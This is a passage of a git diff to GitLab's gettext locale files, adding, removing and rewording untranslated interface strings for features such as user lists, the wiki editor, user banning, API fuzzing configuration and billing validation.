msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index 3008e8e9205..8e8ee8a8625 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:16\n"
+"PO-Revision-Date: 2021-06-01 20:31\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -304,6 +304,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -619,9 +625,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -724,10 +727,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -868,6 +871,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -919,9 +928,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1042,9 +1048,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1108,9 +1120,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1468,6 +1477,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1489,6 +1501,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1558,9 +1573,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1573,6 +1585,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1618,9 +1633,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1660,30 +1672,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1699,7 +1705,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1726,6 +1732,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1993,6 +2008,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2269,6 +2287,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2434,9 +2455,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2476,9 +2491,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2524,6 +2536,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2542,6 +2557,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2590,6 +2608,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2620,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2674,6 +2710,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2755,6 +2794,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2770,6 +2818,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2782,6 +2836,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2818,6 +2878,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2863,9 +2926,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2905,9 +2965,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3277,9 +3334,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3382,6 +3436,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3595,6 +3652,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3688,9 +3748,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3760,7 +3817,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4237,6 +4294,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4267,16 +4327,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4858,7 +4915,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4927,6 +4984,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5083,6 +5143,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5101,6 +5164,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5116,6 +5182,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5134,6 +5203,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5149,6 +5221,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5161,6 +5254,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5170,6 +5266,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5401,6 +5503,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5413,6 +5518,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5422,6 +5530,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5443,12 +5557,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
